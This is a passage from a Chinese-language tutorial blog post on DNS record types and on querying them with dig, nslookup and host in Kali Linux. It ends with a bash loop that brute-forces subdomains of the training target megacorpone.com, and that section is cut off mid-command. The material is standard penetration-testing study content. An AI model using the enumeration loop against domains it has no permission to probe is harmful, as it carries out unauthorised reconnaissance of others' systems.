&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;34.216.184.93.in-addr.arpa. IN PTR www.example.com.&lt;/code&gt; (这是 &lt;code&gt;93.184.216.34&lt;/code&gt; 的反向记录)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;CNAME&lt;/code&gt; (Canonical Name) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 为一个主机名设置一个&lt;strong&gt;别名&lt;/strong&gt;。它指向的是另一个&lt;strong&gt;主机名&lt;/strong&gt;（称为规范名或真实名），而不是直接指向 IP 地址。&lt;/li&gt;
&lt;li&gt;作用：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;简化管理：&lt;/strong&gt; 例如，你可以让 &lt;code&gt;www.example.com&lt;/code&gt; 作为 &lt;code&gt;webserver-prod-lb-01.example.com&lt;/code&gt; 的别名。如果真实服务器的 IP 地址变了，你只需要更新 &lt;code&gt;webserver-prod-lb-01.example.com&lt;/code&gt; 的 A 记录，所有指向它的 CNAME 会自动生效。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指向外部服务：&lt;/strong&gt; 例如，&lt;code&gt;files.example.com&lt;/code&gt; 的 CNAME 可能指向某个云存储服务商提供的域名（如 &lt;code&gt;example.bucket.s3.amazonaws.com&lt;/code&gt;）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;重要规则：
&lt;ul&gt;
&lt;li&gt;CNAME 记录&lt;strong&gt;不能&lt;/strong&gt;与其他记录类型（如 MX, TXT, NS）共存于同一个主机名下。例如，&lt;code&gt;example.com&lt;/code&gt; 不能同时有 CNAME 记录和 MX 记录。&lt;/li&gt;
&lt;li&gt;CNAME 应该指向一个&lt;strong&gt;有效&lt;/strong&gt;的、最终会解析到 A 或 AAAA 记录的主机名。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;www.example.com. IN CNAME webserver-prod-lb-01.example.com.&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;TXT&lt;/code&gt; (Text) 记录：&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 允许域管理员在 DNS 中存储任意&lt;strong&gt;文本信息&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;用途广泛：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPF (Sender Policy Framework)：&lt;/strong&gt; 指定哪些邮件服务器被授权代表该域发送邮件（格式如 &lt;code&gt;v=spf1 include:_spf.google.com ~all&lt;/code&gt;）。用于反垃圾邮件。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKIM (DomainKeys Identified Mail)：&lt;/strong&gt; 存储用于验证邮件签名的&lt;strong&gt;公钥&lt;/strong&gt;（格式如 &lt;code&gt;v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC...&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DMARC (Domain-based Message Authentication, Reporting &amp;amp; Conformance)：&lt;/strong&gt; 定义如何处理未通过 SPF 或 DKIM 检查的邮件，以及发送报告的位置（格式如 &lt;code&gt;v=DMARC1; p=reject; rua=mailto:dmarc-reports@example.com&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;域所有权验证：&lt;/strong&gt; 许多在线服务（如 Google Workspace, SSL 证书颁发机构）会让你在域名的 TXT 记录中添加一段特定文本（如 &lt;code&gt;google-site-verification=abcdefg123456&lt;/code&gt;）来证明你拥有该域。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;其他信息：&lt;/strong&gt; 有时会包含联系人信息、策略声明或其他任意备注（但应避免存储敏感信息）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;example.com. IN TXT &amp;quot;v=spf1 include:_spf.google.com ~all&amp;quot;&lt;/code&gt; &lt;code&gt;_dmarc.example.com. IN TXT &amp;quot;v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com&amp;quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;其他重要的 DNS 记录类型：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SOA&lt;/code&gt; (Start of Authority) 记录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;含义：&lt;/strong&gt; 每个 DNS 区域文件&lt;strong&gt;必须&lt;/strong&gt;包含且&lt;strong&gt;只能包含一个&lt;/strong&gt; SOA 记录。它包含关于该 DNS 区域的&lt;strong&gt;管理信息&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;包含内容：&lt;/strong&gt; 主要名称服务器 (MNAME)、区域负责人的邮箱 (RNAME - 注意格式，如 &lt;code&gt;admin.example.com&lt;/code&gt; 实际是 &lt;code&gt;admin.example.com&lt;/code&gt;，第一个点通常写作 &lt;code&gt;admin\.example.com&lt;/code&gt;)、区域序列号 (SERIAL - 每次修改区域文件需递增此号)、刷新间隔 (REFRESH)、重试间隔 (RETRY)、过期时间 (EXPIRE)、负缓存 TTL (MINIMUM)。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;作用：&lt;/strong&gt; 用于区域传输（从主服务器同步到从服务器）和缓存管理。序列号是判断区域文件是否更新的关键。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;SRV&lt;/code&gt; (Service) 记录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;含义：&lt;/strong&gt; 指定提供特定&lt;strong&gt;服务&lt;/strong&gt;（如 LDAP, SIP, XMPP）的服务器的主机名和端口号。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;格式：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;_Service._Proto.Name TTL Class SRV Priority Weight Port Target
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;_Service&lt;/code&gt;：服务名称（如 &lt;code&gt;_ldap&lt;/code&gt;, &lt;code&gt;_sip&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;_Proto&lt;/code&gt;：协议（通常是 &lt;code&gt;_tcp&lt;/code&gt; 或 &lt;code&gt;_udp&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Name&lt;/code&gt;：该记录所适用的域名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Priority&lt;/code&gt;：类似 MX 记录的优先级。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Weight&lt;/code&gt;：在相同优先级下用于负载均衡的权重。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Port&lt;/code&gt;：服务运行的端口号。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Target&lt;/code&gt;：提供该服务的主机名（需有 A/AAAA 记录）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;作用：&lt;/strong&gt; 使客户端能够自动发现特定服务的服务器位置（哪个主机、哪个端口）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;示例：&lt;/strong&gt; &lt;code&gt;_sip._tcp.example.com. IN SRV 10 60 5060 sipserver.example.com.&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="在-kali-linux-中查询-dns-记录的工具"&gt;在 Kali Linux 中查询 DNS 记录的工具
&lt;/h3&gt;&lt;p&gt;Kali Linux 自带了许多强大的网络工具，查询 DNS 记录主要使用 &lt;code&gt;dig&lt;/code&gt; 和 &lt;code&gt;nslookup&lt;/code&gt;，有时也会用到 &lt;code&gt;host&lt;/code&gt;。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;dig&lt;/code&gt; (Domain Information Groper)：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;最强大、最灵活、最推荐的工具。&lt;/strong&gt; 提供详细输出，非常适合调试和理解 DNS 响应。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本语法：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;dig [@server] [domain] [record_type]
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@server&lt;/code&gt;：可选，指定查询哪个 DNS 服务器（如 &lt;code&gt;@8.8.8.8&lt;/code&gt;）。不指定则使用系统默认 DNS。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;domain&lt;/code&gt;：要查询的域名或主机名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;record_type&lt;/code&gt;：要查询的记录类型（如 &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AAAA&lt;/code&gt;, &lt;code&gt;MX&lt;/code&gt;, &lt;code&gt;NS&lt;/code&gt;, &lt;code&gt;TXT&lt;/code&gt;, &lt;code&gt;CNAME&lt;/code&gt;, &lt;code&gt;SOA&lt;/code&gt;, &lt;code&gt;PTR&lt;/code&gt;, &lt;code&gt;SRV&lt;/code&gt;）。不指定默认为 &lt;code&gt;A&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;常用选项：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+short&lt;/code&gt;：只显示最精简的结果（通常就是记录值）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+noall +answer&lt;/code&gt;：只显示查询的答案部分（最常用）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 A 记录：&lt;code&gt;dig example.com A&lt;/code&gt; 或 &lt;code&gt;dig +short example.com A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 MX 记录：&lt;code&gt;dig example.com MX +noall +answer&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 NS 记录：&lt;code&gt;dig example.com NS&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 TXT 记录（常用于看 SPF/DKIM/DMARC）：&lt;code&gt;dig example.com TXT&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;www.example.com&lt;/code&gt; 的 CNAME 记录：&lt;code&gt;dig www.example.com CNAME&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 SOA 记录：&lt;code&gt;dig example.com SOA&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 PTR 记录（反向解析 &lt;code&gt;93.184.216.34&lt;/code&gt;）：&lt;code&gt;dig -x 93.184.216.34&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 SRV 记录（如 SIP TCP 服务）：&lt;code&gt;dig _sip._tcp.example.com SRV&lt;/code&gt;
&lt;img alt="image-20250704125117898" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125117898.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125222789.png"&gt;
&lt;img alt="image-20250704125324843" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125324843.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704125414624" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125414624.png"&gt;
&lt;img alt="image-20250704125506701" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125506701.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;nslookup&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;交互式命令行工具，&lt;/strong&gt; 也支持非交互模式。功能不如 &lt;code&gt;dig&lt;/code&gt; 强大，但更简单直观。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本语法（非交互）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nslookup [-type=record_type] [domain] [server]
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-type=record_type&lt;/code&gt;：指定记录类型（如 &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;aaaa&lt;/code&gt;, &lt;code&gt;mx&lt;/code&gt;, &lt;code&gt;ns&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, &lt;code&gt;cname&lt;/code&gt;, &lt;code&gt;soa&lt;/code&gt;, &lt;code&gt;ptr&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;domain&lt;/code&gt;：要查询的域名或主机名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server&lt;/code&gt;：可选，指定查询哪个 DNS 服务器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;交互模式： 直接输入&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nslookup
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;，然后按提示输入命令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;server 8.8.8.8&lt;/code&gt;：设置默认查询服务器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set type=mx&lt;/code&gt;：设置查询的记录类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;example.com&lt;/code&gt;：执行查询。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exit&lt;/code&gt;：退出。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 A 记录：&lt;code&gt;nslookup example.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 MX 记录：&lt;code&gt;nslookup -type=mx example.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 TXT 记录：&lt;code&gt;nslookup -type=txt example.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 PTR 记录：&lt;code&gt;nslookup 93.184.216.34&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124912548" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124912548.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704125001942" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125001942.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;host&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;简单易用的工具，&lt;/strong&gt; 输出比 &lt;code&gt;dig +short&lt;/code&gt; 稍详细一点，但不如 &lt;code&gt;dig&lt;/code&gt; 完整。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本语法：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;host [-t record_type] [domain] [server]
└─$ host -v
Usage: host [-aCdilrTvVw] [-c class] [-N ndots] [-t type] [-W time]
 [-R number] [-m flag] [-p port] hostname [server]
 -a is equivalent to -v -t ANY
 -A is like -a but omits RRSIG, NSEC, NSEC3
 -c specifies query class for non-IN data
 -C compares SOA records on authoritative nameservers
 -d is equivalent to -v
 -l lists all hosts in a domain, using AXFR
 -m set memory debugging flag (trace|record|usage)
 -N changes the number of dots allowed before root lookup is done
 -p specifies the port on the server to query
 -r disables recursive processing
 -R specifies number of retries for UDP packets
 -s a SERVFAIL response should stop query
 -t specifies the query type
 -T enables TCP/IP mode
 -U enables UDP mode
 -v enables verbose output
 -V print version number and exit
 -w specifies to wait forever for a reply
 -W specifies how long to wait for a reply
 -4 use IPv4 query transport only
 -6 use IPv6 query transport only
用法：host [-aCdilrTvVw][-c 类别][-N 点数][-t 类型][-W 时间]
[-R 次数][-m 标志][-p 端口]主机名 [服务器]
-a 等同于 -v -t ANY
-A 类似 -a 但不包含 RRSIG、NSEC、NSEC3
-c 指定非 IN 数据的查询类别
-C 比较权威名称服务器上的 SOA 记录
-d 等同于 -v
-l 列出域中的所有主机，使用 AXFR
-m 设置内存调试标志（跟踪记录|使用情况）
N 更改在执行根查找前允许的点数
-p 指定要查询的服务器端口
-r 禁用递归处理
-R 指定 UDP 数据包的重试次数
-s SERVFAIL 响应应停止查询
-t 指定查询类型
-T 启用 TCP/IP 模式
-U 启用 UDP 模式
-v 启用详细输出
-V 打印版本号并退出
-w 指定无限期等待回复
-W 指定等待回复的时间
-4 仅使用 IPv4 查询传输
-6 仅使用 IPv6 查询传输
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t record_type&lt;/code&gt;：指定记录类型（如 &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;aaaa&lt;/code&gt;, &lt;code&gt;mx&lt;/code&gt;, &lt;code&gt;ns&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, &lt;code&gt;cname&lt;/code&gt;, &lt;code&gt;soa&lt;/code&gt;, &lt;code&gt;ptr&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;domain&lt;/code&gt;：要查询的域名或主机名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server&lt;/code&gt;：可选，指定查询哪个 DNS 服务器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 A 记录：&lt;code&gt;host example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 MX 记录：&lt;code&gt;host -t mx example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 TXT 记录：&lt;code&gt;host -t txt example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查询 PTR 记录：&lt;code&gt;host 93.184.216.34&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;host www.megacorpone.com 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;host -t mx megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;host -t txt megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;host -t ns megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;host -C megacorpone.com &lt;span class="c1"&gt;# 比较所有权威DNS服务器的 SOA 序列号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704123211848" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704123211848.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124502076" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124502076.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124608759" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124608759.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124705157" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124705157.png"&gt;&lt;/p&gt;
&lt;p&gt;反查IP对应的域名&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704123709940" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704123709940.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124515624" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124515624.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总结：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dig&lt;/code&gt;&lt;/strong&gt; 是专业首选，信息最全，功能最强。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;nslookup&lt;/code&gt;&lt;/strong&gt; 交互模式适合简单探索。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;host&lt;/code&gt;&lt;/strong&gt; 适合快速获取简洁结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然，DNS查询也可以通过一些在线网站查询。&lt;/p&gt;
&lt;h3 id="正向子域名爆破"&gt;正向子域名爆破
&lt;/h3&gt;&lt;p&gt;写一个列表，用循环来实现爆破&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;www
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;mail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;owa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;proxy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 回车后按ctrl D 结束保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$ip&lt;/span&gt;.megacorpone.com&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704130028322" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704130028322.png"&gt;&lt;/p&gt;
&lt;p&gt;使用AI帮助我们改进一下这个命令就是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r subdomain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; host &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$subdomain&lt;/span&gt;&lt;span class="s2"&gt;.megacorpone.com&amp;#34;&lt;/span&gt; 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v -e &lt;span class="s1"&gt;&amp;#39;not found&amp;#39;&lt;/span&gt; -e &lt;span class="s1"&gt;&amp;#39;^$&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果只想要IP就是&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r subdomain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; 
